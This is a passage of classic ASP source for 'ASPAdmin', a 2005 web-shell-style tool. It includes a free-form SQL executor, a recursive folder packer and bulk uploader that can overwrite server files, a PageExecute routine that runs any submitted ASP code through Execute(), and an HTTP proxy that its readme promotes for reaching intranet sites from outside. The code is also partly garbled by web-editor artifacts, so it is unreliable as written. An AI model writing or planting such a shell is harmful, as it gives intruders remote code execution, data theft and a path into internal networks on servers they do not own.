sql = "Select * From [" & strTable & "]" End If For i = 1 To Request.Form("KeyWord").Count If Request.Form("KeyWord")(i) <> "" Then sqlC = Replace(Request.Form("KeyWord")(i), "'", "''") sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "'" & sqlC & "'", sqlC) sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i) End If Next If sqlB <> "" Then sql = "Select * From [" & strTable & "] Where " & sqlB If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4) If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5) End If echo "<input type=hidden name=sql value=""" & HtmlEncode(sql) & """>" echo "<textarea name=sqlB rows=1 style='width:647px;'>" & HtmlEncode(sql) & "</textarea>" echo " <input type=button value=执行查询 οnclick=""this.form.sql.value=this.form.sqlB.value;Command('Query','0');"">" echo "<input type=button value=- οnclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'>" echo "<input type=button value=+ οnclick='this.form.sqlB.rows+=3;'>" echo "<input type=hidden name=theTable value=""" & HtmlEncode(strTable) & """>" echo "<br/><table width=750>" echo "<tr>" echo "<td class=td colspan=2><font face=webdings>8</font> SQL查询器</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" CreateConn() Set Cat = Server.CreateObject("ADOX.Catalog") Cat.ActiveConnection = conn.ConnectionString echo "<tr><td width='20%' valign=top>" For Each objTable In Cat.Tables echo "<span class=fixSpan title='" & objTable.Name & "' οnclick=""Command('Query',this.title);this.disabled=true;"" " echo "style='width:94%;padding-left:8px;cursor:hand;'>" If strTable = objTable.Name Then echo "<u>" & objTable.Name & "</u>" Else echo objTable.Name End If echo "</span>" Next echo "</td><td valign=top>" If LCase(Left(sql, 7)) = "select " Then rs.Open sql, conn, 1, 1 ChkErr(Err) rs.PageSize = PageSize If Not rs.Eof Then rs.AbsolutePage = intPage End If echo "<div align=left><table border=1 width=490>" echo "<tr>" echo "<td height=22 class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td height=22 class=td width=100> 查询</td>" echo "</tr><tr><td align=center>" echo "<div><select name=Fields>" For Each x In rs.Fields echo "<option value=""" & x.Name & """>" & x.Name & "</option>" Next echo "</select>" echo "<select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select>" echo "<input name=KeyWord style='width:200px;'>" echo "<select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> " echo "<input type=button value=+ οnclick=""this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"">" echo "<input type=button value=- οnclick=""this.parentElement.outerHTML='';""></div> " echo "<input type=button value=查询 οnclick=this.form.sql.value='';this.form.param.value='1';this.form.theAct.value='Query';this.form.submit();>" echo "</td></tr>" echo "<tr><td class=td> </td></tr>" echo "</table></div><br/>" If rs.Fields.Count > 0 Then strPrimaryKey = GetPrimaryKey(strTable) echo "<table border=1 align=left cellpadding=0 cellspacing=0>" echo "<tr>" echo "<td height=22 class=trHead colspan=" & rs.Fields.Count + 1 & "> </td>" echo "</tr>" echo "<tr>" echo "<td height=22 class=td width=100 align=center>操作</td>" For j = 0 To rs.Fields.Count - 1 echo "<td height=22 class=td width=130><span class=fixSpan title='" & rs.Fields(j).Name & "' style='width:125px;padding-left:5px;'>" & rs.Fields(j).Name & "</span></td>" Next For i = 1 To rs.PageSize If rs.Eof Then Exit For echo "</tr>" echo "<tr valign=top>" echo "<td height=22 align=center>" If strPrimaryKey <> "" Then echo "<input type=button value=编辑 title='编辑/添加' οnclick=showSqlEdit('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');>" echo "<input type=button value=删除 οnclick=sqlDelete('" & strPrimaryKey & "','" & rs(strPrimaryKey) & "');></td>" Else echo "<input type=button value=编辑 title='编辑/添加' οnclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');showSqlEdit('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');>" echo "<input type=button value=删除 οnclick=alert('主键不存在,操作有可能导致重大数据库灾难,并且该操作不可逆!');sqlDelete('" & rs.Fields(0).Name & "','" & rs(rs.Fields(0).Name) & "');></td>" End If For j = 0 To rs.Fields.Count - 1 echo "<td height=22><span class=fixSpan style='width:125px;padding-left:5px;'>" & HtmlEncode(IIf(Len(rs(j)) > 50, Left(rs(j), 50), rs(j))) & "</span></td>" Next echo "</tr>" rs.MoveNext Next End If echo "<tr>" echo "<td height=22 class=td colspan=" & rs.Fields.Count + 1 & "> Page: " For i = 1 To rs.PageCount If i > maxPageCount Then echo "..." Exit For End If echo Replace("<a href="javascript:Command(" mce_href="javascript:Command("'Query','" & i & "');><font {$font" & i & "}>" & i & "</font></a> ", "{$font" & intPage & "}", " color=red") Next echo "</td></tr></table>" rs.Close Else conn.Execute(sql) ChkErr(Err) echo "<mce:script type="text/javascript"><!-- alert('查询执行成功,按确定返回./n刷新后可以看到执行效果.');history.back(); // --></mce:script>" Set rs = Nothing Set Cat = Nothing DestoryConn() Exit Sub End If echo "</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=td align=right>By Marcos 2005.06 </td>" echo "</tr>" echo "</table>" Set rs = Nothing Set Cat = Nothing DestoryConn() End Sub Sub SqlShowEdit() Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey If isDebugMode = False Then On Error Resume Next sql = GetPost("sql") strParam = GetPost("param") strTable = GetPost("theTable") intI = InStr(strParam, "!") intFindI = InStr(LCase(sql), " where") intFindJ = InStrRev(LCase(sql), "order ") intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0") strValue = Mid(strParam, intI + 1) strColumn = Left(strParam, intI - 1) strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", "")) If intFindJ > 0 Then sql = Left(sql, intFindJ - 1) If intFindI > 0 Then strJoinTag = ") And " sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6) Else strJoinTag = " Where " End If If intFindK > 0 Then strExtra = IIf(strExtra = ">", "<", IIf(strExtra = "<", ">", "")) CreateConn() strPrimaryKey = GetPrimaryKey(strTable) Set rs = Server.CreateObject("Adodb.RecordSet") If strExtra <> "" And IsNumeric(strValue) = True Then sql = "Select Top 1" & Mid(sql, 7) & strJoinTag sql = sql & strColumn & " " & strExtra & " " & strValue & " Order By " & strColumn & IIf(strExtra = "<", " Desc", " Asc") Else sql = sql & strJoinTag & strColumn & " like '" & Replace(strValue, "'", "''") & "'" End If intFindM = InStr(LCase(sql), "from") intFindI = InStr(LCase(sql), " where") intFindL = InStr(intFindM, LCase(sql), ",", 1) If intFindL > 0 Then If (intFindL > intFindM) And (intFindL < intFindI) Then multiTables = True End If End If If theAct <> "edit" Then rs.Open sql, conn, 1, 3 ChkErr(Err) If rs.Eof Then echo "<mce:script type="text/javascript"><!-- alert('该记录不存在!');history.back(); // --></mce:script>" Response.End() End If If theAct = "new" Then rs.AddNew If theAct = "del" Then rs.Delete rs.Update AlertThenClose("删除成功!") Response.End Else If theAct <> "pre" And theAct <> "next" Then For Each x In rs.Fields If strPrimaryKey <> x.Name Then rs(x.Name) = Request.Form(x.Name & "_Column") End If Next rs.Update End If strValue = rs(strColumn) End If If theAct = "new" Then sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'" End If rs.Close End If rs.Open sql, conn, 1, 1 echo "<table border=1 width=600>" echo "<tr>" echo "<td height=22 class=trHead colspan=2> </td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=td><font face=webdings>8</font> SQL数据修改</td>" echo "</tr>" echo "<input type=hidden value=PageDBTool name=PageName>" echo "<input type=hidden name=theAct value=save>" echo "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>" echo "<input type=hidden name=theTable value=""" & strTable & """>" echo "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>" echo "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>" For Each x In rs.Fields echo "<tr>" echo "<td height=22 width=150> " & HtmlEncode(x.Name) & "<br/> (<em>" & GetDataType(x.Type) & "</em>)</td>" echo "<td width=450> " echo "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "") echo IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "") echo IIf(x.Name = strPrimaryKey, " title='主键,由于主键约束,将无法被修改,也不能出现相同值.'", "") & ">" & HtmlEncode(x.value) & "</textarea>" echo "</td></tr>" Next echo "<tr>" echo "<td colspan=2 class=td align=center>" If multiTables = False Then If strPrimaryKey = "" Then echo "<input type=button value=修改 οnclick=if(confirm('确定要修改这条记录吗?/n此表没有主键,继续操作可能会导致数据库灾难,并且该错误无法被撤消.')){this.form.theAct.value='save';this.form.submit();}>" Else echo "<input type=submit value=修改 οnclick=this.form.theAct.value='save';>" echo "<input type=button value=添加 οnclick=if(confirm('确实要添加当前为新记录吗?')){this.form.theAct.value='new';this.form.submit();};>" echo "<input type=button value=删除 οnclick=if(confirm('确实删除当前记录吗?')){this.form.theAct.value='del';this.form.submit();};>" End If Else echo "<input type=button value=暂不支持多表操作 disabled>" End If echo "<input type=reset value=重置><input type=button value=关闭 οnclick='window.close();'>" If IsNumeric(strValue) = True Then echo "<input type=button value=上一条 οnclick=""this.form.theAct.value='pre';this.form.submit();"">" echo "<input type=button value=下一条 οnclick=""this.form.theAct.value='next';this.form.submit();"">" End If echo "</td>" echo "</tr>" echo "</table>" rs.Close Set rs = Nothing DestoryConn() End Sub Sub CreateConn() Dim connStr, mdbInfo, userName, passWord, strPath If isDebugMode = False Then On Error Resume Next Set conn = Server.CreateObject("Adodb.Connection") If LCase(Left(thePath, 4)) = "sql:" Then connStr = Mid(thePath, 5) isSqlServer = True Else mdbInfo = Split(thePath, ";") strPath = mdbInfo(0) strPath = Server.MapPath(strPath) ChkErr(Err) If UBound(mdbInfo) >= 2 Then userName = mdbInfo(1) passWord = mdbInfo(2) End If connStr = Replace(accessStr, "{$dbSource}", strPath) connStr = Replace(connStr, "{$userId}", userName) connStr = Replace(connStr, "{$passWord}", passWord) end if conn.Open connStr ChkErr(Err) End Sub Sub DestoryConn() conn.Close Set conn = Nothing End Sub Function GetDataType(flag) Dim str Select Case flag Case 0 : str = "EMPTY" Case 2 : str = "SMALLINT" Case 3 : str = "INTEGER" Case 4 : str = "SINGLE" Case 5 : str = "DOUBLE" Case 6 : str = "CURRENCY" Case 7 : str = "DATE" Case 8 : str = "BSTR" Case 9 : str = "IDISPATCH" Case 10 : str = "ERROR" Case 11 : str = "BIT" Case 12 : str = "VARIANT" Case 13 : str = "IUNKNOWN" Case 14 : str = "DECIMAL" Case 16 : str = "TINYINT" Case 17 : str = "UNSIGNEDTINYINT" Case 18 : str = "UNSIGNEDSMALLINT" Case 19 : str = "UNSIGNEDINT" Case 20 : str = "BIGINT" Case 21 : str = "UNSIGNEDBIGINT" Case 72 : str = "GUID" Case 128 : str = "BINARY" Case 129 : str = "CHAR" Case 130 : str = "WCHAR" Case 131 : str = "NUMERIC" Case 132 : str = "USERDEFINED" Case 133 : str = "DBDATE" Case 134 : str = "DBTIME" Case 135 : str = "DBTIMESTAMP" Case 136 : str = "CHAPTER" Case 200 : str = "VARCHAR" Case 201 : str = "LONGVARCHAR" Case 202 : str = "VARWCHAR" Case 203 : str = "LONGVARWCHAR" Case 204 : str = "VARBINARY" Case 205 : str = "LONGVARBINARY" Case Else : str = flag End Select GetDataType = str End Function Function GetPrimaryKey(strTable) Dim rsPrimary If isDebugMode = False Then On Error Resume Next Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable)) If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME") Set rsPrimary = Nothing End Function Sub PagePack() ShowTitle("文件夹打包/解开器") Server.ScriptTimeOut = 5000 If theAct = "PackIt" Or theAct = "PackOne" Then PackIt() AlertThenClose("打包成功!生成为该文件夹目录下的" & sPacketName & "文件./n下载下来后可以使用unpack.vbs进行解开.") Response.End() End If If theAct = "UnPack" Then UnPack() AlertThenClose("解开成功!解开目录为" & sPacketName & "所在目录.") Response.End() End If PackTable() End Sub Sub PackTable() echo "<base target=_blank>" echo "<table width=750 border=1>" echo "<tr>" echo "<td colspan=2 class=td><font face=webdings>8</font> 文件夹打包/解开器(需FSO支持)" echo "</td>" echo "</tr>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<form method=post action='" & url & "'>" echo "<tr>" echo "<td width='20%'> 开始</td>" echo "<td> <input name=thePath value='/' style='width:467px;'> " echo "<input type=hidden value=PagePack name=PageName>" echo "<input type=hidden value=PackIt name=theAct>" echo "<input type=submit value='开始'>" echo "</td></tr>" echo "</form>" echo "<form method=post action='" & url & "'>" echo "<tr>" echo "<td> 结束</td>" echo "<td> <input name=thePath value=""" & HtmlEncode(sPacketName) & """ style='width:467px;'> " echo "<input type=hidden value=PagePack name=PageName>" echo "<input type=hidden value=UnPack name=theAct>" echo "<input type=submit value='结束'>" echo "</td></tr>" echo "</form>" echo "<tr>" echo "<td colspan=2 class=trHead> </td>" echo "</tr>" echo "<tr align=right>" echo "<td colspan=2 class=td>By Marcos 2005.06 </td>" echo "</tr>" echo "</table>" End Sub Sub PackIt() Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog If isDebugMode = False Then On Error Resume Next strPath = Server.MapPath(thePath) db = strPath & "/" & sPacketName Set rs = Server.CreateObject("ADODB.RecordSet") Set stream = Server.CreateObject("ADODB.Stream") Set conn = Server.CreateObject("ADODB.Connection") Set adoCatalog = Server.CreateObject("ADOX.Catalog") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db If fso.FolderExists(strPath) = False Then ShowErr(thePath & " 目录不存在或者不允许访问!") End If If theAct = "PackIt" Then If fso.GetFolder(strPath).Size > 300 * 1024 * 1024 Then ShowErr("该目录超过300M, 可能造成服务器当机, 操作停止.") End If End If If fso.FileExists(db) = False Then adoCatalog.Create connStr conn.Open connStr conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") Else conn.Open connStr End If stream.Open stream.Type = 1 rs.Open "FileData", conn, 3, 3 If theAct = "PackIt" Then Call FsoTreeForMdb(strPath, rs, stream) Else strPath = Server.MapPath(GetPost("truePath")) & "/" For Each objX In Request.Form("checkBox") strPathB = strPath & objX isFolder = fso.FolderExists(strPathB) If isFolder = True Then Call FsoTreeForMdb(strPathB, rs, stream) Else If InStr(sysFileList, "$" & objX & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(strPathB, Len(rootPath) + 2) stream.LoadFromFile(strPathB) rs("fileContent") = stream.Read() rs.Update End If End If Next End If rs.Close Conn.Close stream.Close Set rs = Nothing Set conn = Nothing Set stream = Nothing Set adoCatalog = Nothing End Sub Sub UnPack() Dim rs, ws, str, conn, stream, connStr, strPath, theFolder If isDebugMode = False Then On Error Resume Next strPath = Server.MapPath(thePath) str = fso.GetParentFolderName(strPath) & "/" Set rs = CreateObject("ADODB.RecordSet") Set stream = CreateObject("ADODB.Stream") Set conn = CreateObject("ADODB.Connection") connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath conn.Open connStr ChkErr(Err) rs.Open "FileData", conn, 1, 1 stream.Open stream.Type = 1 Do Until rs.Eof theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "/")) If fso.FolderExists(str & theFolder) = False Then CreateFolder(str & theFolder) End If stream.SetEOS() If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent") stream.SaveToFile str & rs("thePath"), 2 rs.MoveNext Loop rs.Close conn.Close stream.Close Set ws = Nothing Set rs = Nothing Set stream = Nothing Set conn = Nothing End Sub Sub FsoTreeForMdb(strPath, rs, stream) Dim item, theFolder, folders, files Set theFolder = fso.GetFolder(strPath) Set files = theFolder.Files Set folders = theFolder.SubFolders For Each item In folders Call FsoTreeForMdb(item.Path, rs, stream) Next For Each item In files If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then rs.AddNew rs("thePath") = Mid(item.Path, Len(rootPath) + 2) stream.LoadFromFile(item.Path) rs("fileContent") = stream.Read() rs.Update End If Next Set files = Nothing Set folders = Nothing Set theFolder = Nothing End Sub Sub PageUpload() ShowTitle("批量文件上传") theAct = Request.QueryString("theAct") If theAct = "upload" Then StreamUpload() echo "<mce:script type="text/javascript"><!-- alert('上传成功!');history.back(); // --></mce:script>" End If ShowUpload() End Sub Sub ShowUpload() If thePath = "" Then thePath = "/" echo "<form method=post οnsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>" echo "<table width=750>" echo "<tr>" echo "<td class=td colspan=2><font face=webdings>8</font> 批量文件上传</td>" echo "</tr>" echo "<tr>" echo "<td class=trHead colspan=2> </td>" echo "</tr>" echo "<tr>" echo "<td width='20%'>" echo " 上传到:" echo "</td>" echo "<td>" echo " <input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>覆盖模式" echo "</td>" echo "</tr>" echo "<tr>" echo "<td valign=top>" echo " 文件选择: " echo "</td>" echo "<td> <input id=fileCount size=6 value=1> <input type=button value=设定 οnclick=makeFile(fileCount.value)>" echo "<div id=fileUpload>" echo " <input name=file1 type=file size=50>" echo "</div></td>" echo "</tr>" echo "<tr>" echo "<td class=trHead colspan=2> </td>" echo "</tr>" echo "<tr>" echo "<td align=center class=td colspan=2>" echo "<input type=submit name=Submit value=上传 οnclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>" echo "<input type=reset value=重置><input type=button value=关闭 οnclick=window.close();>" echo "</td>" echo "</tr>" echo "</table>" echo "</form>" echo "<mce:script language=javascript><!-- " & vbNewLine echo "function makeFile(n){" & vbNewLine echo " fileUpload.innerHTML = ' <input name=file1 type=file size=50>'" & vbNewLine echo " for(var i=2; i<=n; i++)" & vbNewLine echo " fileUpload.innerHTML += '<br/> <input name=file' + i + ' type=file size=50>';" & vbNewLine echo "}" & vbNewLine echo " // --></mce:script>" End Sub Sub StreamUpload() Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd If isDebugMode = False Then On Error Resume Next Server.ScriptTimeOut = 5000 newLine = ChrB(13) & ChrB(10) overWrite = Request.QueryString("overWrite") overWrite = IIf(overWrite = "true", "2", "1") Set sA = Server.CreateObject("Adodb.Stream") Set sB = Server.CreateObject("Adodb.Stream") sA.Type = 1 sA.Mode = 3 sA.Open sA.Write Request.BinaryRead(Request.TotalBytes) sA.Position = 0 theForm = sA.Read() ' sA.SaveToFile "c:/001.txt", 2 ''保存到临时文件进行查看 itemDiv = LeftB(theForm, InStrB(theForm, newLine) - 1) totalLen = LenB(theForm) itemDivLen = LenB(itemDiv) intStart = itemDivLen + 2 intUpLen = 0 '上面数据的长度 Do intDataLen = InStrB(intStart, theForm, itemDiv) - itemDivLen - 5 ''equals - 2(回车) - 1(InStr) - 2(回车) intDataLen = intDataLen - intUpLen intEnd = intStart + intDataLen intInfoEnd = InStrB(intStart, theForm, newLine & newLine) - 1 sB.Type = 1 sB.Mode = 3 sB.Open sA.Position = intStart sA.CopyTo sB, intInfoEnd - intStart ''保存元素信息部分 sB.Position = 0 sB.Type = 2 sB.CharSet = "GB2312" strInfo = sB.ReadText() strFileName = "" intFindStart = InStr(strInfo, "name=""") + 6 intFindEnd = InStr(intFindStart, strInfo, """", 1) strName = Mid(strInfo, intFindStart, intFindEnd - intFindStart) If InStr(strInfo, "filename=""") > 0 Then ''>0则为文件,开始接收文件 intFindStart = InStr(strInfo, "filename=""") + 10 intFindEnd = InStr(intFindStart, strInfo, """", 1) strFileName = Mid(strInfo, intFindStart, intFindEnd - intFindStart) strFileName = Mid(strFileName, InStrRev(strFileName, "/") + 1) End If sB.Close sB.Type = 1 sB.Mode = 3 sB.Open sA.Position = intInfoEnd + 4 sA.CopyTo sB, intEnd - intInfoEnd - 4 If strFileName <> "" Then sB.SaveToFile strPath & strFileName, overWrite ChkErr(Err) Else If strName = "thePath" Then sB.Position = 0 sB.Type = 2 sB.CharSet = "GB2312" strInfo = sB.ReadText() thePath = strInfo If Mid(thePath, 2, 1) = ":" Then ShowErr("对不起,上传只能使用虚拟路径!") End If strPath = Server.MapPath(strInfo) & "/" End If End If sB.Close intUpLen = intStart + intDataLen + 2 intStart = intUpLen + itemDivLen + 2 Loop Until (intStart + 2) = totalLen sA.Close Set sA = Nothing Set sB = Nothing End Sub Sub PageLogin() Dim passWord passWord = Encode(GetPost("password")) If theAct = "Login" Then If userPassword = passWord Then Session(m & "userPassword") = userPassword ShowTitle("登录成功!") PageReadMe() Exit Sub End If End If If pageName = "PageOut" Then Session.Contents.Remove(m & "userPassword") RedirectTo(url) End If If Session(m & "userPassword") = userPassword Then PageReadMe() Exit Sub End If ShowTitle("管理登录") echo "<body οnlοad=document.formx.password.focus();>" echo "<table width=416 align=center>" echo "<form method=post name=formx action=""" & url & """>" echo "<input type=hidden name=theAct value=Login>" echo "<tr>" echo "<td align=center class=td>管理登录</td>" echo "</tr>" echo "<tr>" echo "<td class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td height=75 align=center>" echo "<input name=password type=password style="border:1px solid #d8d8f0;background-color:#ffffff;" mce_style="border:1px solid #d8d8f0;background-color:#ffffff;"> " echo "<input type=submit value=LOGIN style="border:1px solid #d8d8f0;background-color:#f9f9fd;" mce_style="border:1px solid #d8d8f0;background-color:#f9f9fd;">" echo "</td>" echo "</tr>" echo "<tr> " echo "<td align=center class=td>--</td>" echo "</tr>" echo "</form>" echo "</table>" echo "</body>" End Sub Sub PageReadMe() Dim strInfo, aryInfo(7), theAry ShowTitle("ASPAdmin 简单说明") aryInfo(0) = "服务器信息探针|1.服务器基本信息<br/> WEB服务器的一些基本信息<br/>2.服务器组件信息<br/> 一些常用的ASP组件的支持情况检测<br/>" & _ "3.Application/Session查看<br/> 所有系统变量及其值的查看, 当前浏览器进程和服务器的会话及内容的查看" aryInfo(1) = "FSO文件浏览操作器|1.基本功能<br/> 站点目录浏览, 新建, 重命名, 另存为, 删除, 文本编辑, 复制/移动到文件夹<br/>" & _ "2.外链功能<br/> 项目打包(文件夹打包/解开器), mdb类型数据库操作(数据库操作器), 文件上传(批量文件上传)" aryInfo(2) = "数据库操作器<br/>(Access, SQL Server)|1.基本功能:<br/> 数据库基本表结构查看, 数据表记录操作(查看,添加,修改,删除), 多条件记录查询<br/>" & _ "2.扩展功能<br/> 执行自定义查询, 用来执行所有自定义SQL语句, 如果是Select查询还可以返回记录" aryInfo(3) = "文件夹打包/解开器|1.文件夹打包<br/> 指定要打包的文件夹, 按""开始打包""后生成" & sPacketName & "(位于要打包的文件夹目录)<br/>" & _ "2.文件包解开<br/> 指定文件包相对路径, 按""开始解包"", 解开目录为文件包(" & sPacketName & ")所在目录" aryInfo(4) = "批量文件上传|进入页面后, 指定好要上传的目标目录, 如果要上传多个, 请先设定上传文件数量,<br/>然后选择要上传的文件, 选择完毕后开始上传, 如果要上传的文件可能已经存在,可以选择""覆盖模式""<br/>进行覆盖上传" aryInfo(5) = "文本文件搜索器|指定搜索目录, 填写好搜索关键字, 指定搜索条件(文件名,文本内容,或者两者)后按提交即可" aryInfo(6) = "HTTP网页代理|通过另一台服务器来访问你所要访问的网页, 并把结果返回给你;<br/>把程序放在一台既能让外网访问又能被内网访问的WEB服务器上, 这样你就可以从网内通过它来上网,<br/>可以从网外通过它来访问内网网站, 这是一个神奇的功能" aryInfo(7) = "自定义ASP语句执行|允许执行自定义ASP语句, 但是变量及模块命名受程序本身的已命名限制" TopMenu() echo "<table width=750>" echo "<tr>" echo "<td class=td colspan=2><font face=webdings>8</font> ASPAdmin 简单说明</td>" echo "</tr>" echo "<tr>" echo "<td class=trHead colspan=2> </td>" echo "</tr>" For Each strInfo In aryInfo theAry = Split(strInfo, "|") echo "<tr>" echo "<td width='20%' valign=top> " & theAry(0) & "</td>" echo "<td style="padding-left:7px;" mce_style="padding-left:7px;"><span>" & theAry(1) & "</span></td>" echo "</tr>" Next echo "<tr>" echo "<td class=trHead colspan=2> </td>" echo "</tr>" echo "<tr>" echo "<td class=td colspan=2 align=right>By Marcos 2005.06 </td>" echo "</tr>" echo "</table>" End Sub Function Encode(strPass) Dim i, theStr, strTmp For i = 1 To Len(strPass) strTmp = Asc(Mid(strPass, i, 1)) theStr = theStr & Abs(strTmp) Next strPass = theStr theStr = "" Do While Len(strPass) > 16 strPass = JoinCutStr(strPass) Loop For i = 1 To Len(strPass) strTmp = CInt(Mid(strPass, i, 1)) strTmp = IIf(strTmp > 6, Chr(strTmp + 60), strTmp) theStr = theStr & strTmp Next Encode = theStr End Function Function JoinCutStr(str) Dim i, theStr For i = 1 To Len(str) If Len(str) - i = 0 Then Exit For theStr = theStr & Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i + 1, 1))) / 2)) i = i + 1 Next JoinCutStr = theStr End Function Sub PageExecute() Dim strAspCode strAspCode = GetPost("AspCode") ShowTitle("自定义ASP语句执行") If theAct = "Exe" Then echo "<table width=750 class=fixTable>" echo "<tr>" echo "<td class=trHead> </td>" echo "</tr>" echo "<tr>" echo "<td class=td><font face=webdings>8</font> 执行结果</td>" echo "</tr>" echo "<tr><td style="padding-left:6px;padding-right:5px;" mce_style="padding-left:6px;padding-right:5px;">" Execute(strAspCode) echo "</td></tr></table>" End If ShowExeTable(strAspCode) End Sub Sub ShowExeTable(strAspCode) echo "<form method=post οnsubmit=this.Submit.disabled=true; action=""" & url & """>" echo "<table width=750>" echo "<tr>" echo "<td class=td colspan=2><font face=webdings>8</font> 自定义ASP语句执行</td>" echo "</tr>" echo "<tr>" echo "<td class=trHead colspan=2> </td>" echo "</tr>" echo "<tr>" echo "<td valign=top width='10%'>" echo " ASP语句: " echo "</td>" echo "<td> " echo "<textarea name=AspCode cols=91 rows=23 title='By Marcos 2005.06'>" & HtmlEncode(strAspCode) & "</textarea>" echo "</td>" echo "</tr>" echo "<tr>" echo "<td class=trHead colspan=2> </td>" echo "</tr>" echo "<tr>" echo "<td align=center class=td colspan=2>" echo "<input type=hidden name=PageName value=PageExecute>" echo "<input type=hidden name=theAct value=Exe>" echo "<input type=submit name=Submit value=提交>" echo "<input type=reset value=重置>" echo "</td>" echo "</tr>" echo "</table>" echo "</form>" End Sub Sub PageWebProxy() Dim i, re, Url, Html Response.Clear() Url = Request.QueryString("url") If Url = "" Then Response.Redirect("?PageName=PageWebProxy&url=http://hididi.net/") Set re = New RegExp re.IgnoreCase = True re.Global = True sUrlB = Url Html = getHTTPPage(Url) Url = Left(Url, InStrRev(Url, "/")) i = InStr(sUrlB, "?") If i > 0 Then sUrlB = Left(sUrlB, i - 1) End If re.Pattern = "(href|action)=(/'|"")?(/?)" Html = re.Replace(Html,"$1=$2" & sUrlB & "?") re.Pattern = "(src|action|href)=(/'|"")?((http|https|javascript):[A-Za-z0-9/./=/?%/-&_~`@[/]/':+!]+([^<>""])+)(/'|"")?" Html = re.Replace(Html,"$1x=$2$3$2") re.Pattern = "(window/.open|url)/((/'|"")?((http|https):(|)[A-Za-z0-9/./=/?%/-&_~`@[/]:+!]+([^/'<>""])+)(/'|"")?/)" Html = re.Replace(Html,"$1x($2$3$2)") re.Pattern = "(src|action|href|background)=(/'|"")?([^//""/'][A-Za-z0-9/./=/?%/-&_~`@[/]:+!]+([^/'<>""])+)(/'|"")?" Html = re.Replace(Html,"$1=$2" & Url & "$3$2") re.Pattern = "(src|action|href|background)=(/'|"")?//([^""/'][A-Za-z0-9/./=/?%/-&_~`@[/]:+!]+([^/'<>""])+)(/'|"")?" Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$3$2") re.Pattern = "(src|action|href)=(/'|"")?//(/'|"")?" Html = re.Replace(Html,"$1=$2http://" & Split(Url, "/")(2) & "/$2") re.Pattern = "(window/.open|url)/((/'|"")?([^//""/'http:][A-Za-z0-9/./=/?%/-&_~`@[/]+!]+([^/'<>""])+)(/'|"")?/)" Html = re.Replace(Html,"$1($2" & Url & "$3$2)") re.Pattern = "(window/.open|url)/((/'|"")?//([^""/'http:][A-Za-z0-9/./=/?%/-&_~`@[/]+!]+([^/'<>""])+)(/'|"")?/)" Html = re.Replace(Html,"$1($2http://" & Split(Url, "/")(2) & "/$3$2)") Html = Replace(Html, "&", "%26") If Split(Url, "/")(2) = "club.isso.com.cn" Then Html = Replace(Html, "%26amp;", "%26") Else Html = Replace(Html, "%26amp;", "&") End If Html = Replace(Html, "%26nbsp;", " ") Html = Replace(Html, "%26lt;", "<") Html = Replace(Html, "%26gt;", ">") Html = Replace(Html, "%26quot;", """) Html = Replace(Html, "%26copy;", "©") Html = Replace(Html, "%26reg;", "®") Html = Replace(Html, "%26raquo;", "»") Html = Replace(Html, "%26%26", "&&") Html = Replace(Html, "%26#", "&#") re.Pattern = "(src|action|href)x=(/'|"")?((http|https|javascript):[A-Za-z0-9/./=/?%/-&_~`@[/]/':+!]+([^<>""])+)(/'|"")?" Html = re.Replace(Html, "$1=$2$3$2") re.Pattern = "((http|https):(|)[A-Za-z0-9/./=/?%/-&_~`@[/]/':+!]+([^<>""])+)" Html = re.Replace(Html, "?PageName=PageWebProxy&url=$1") re.Pattern = 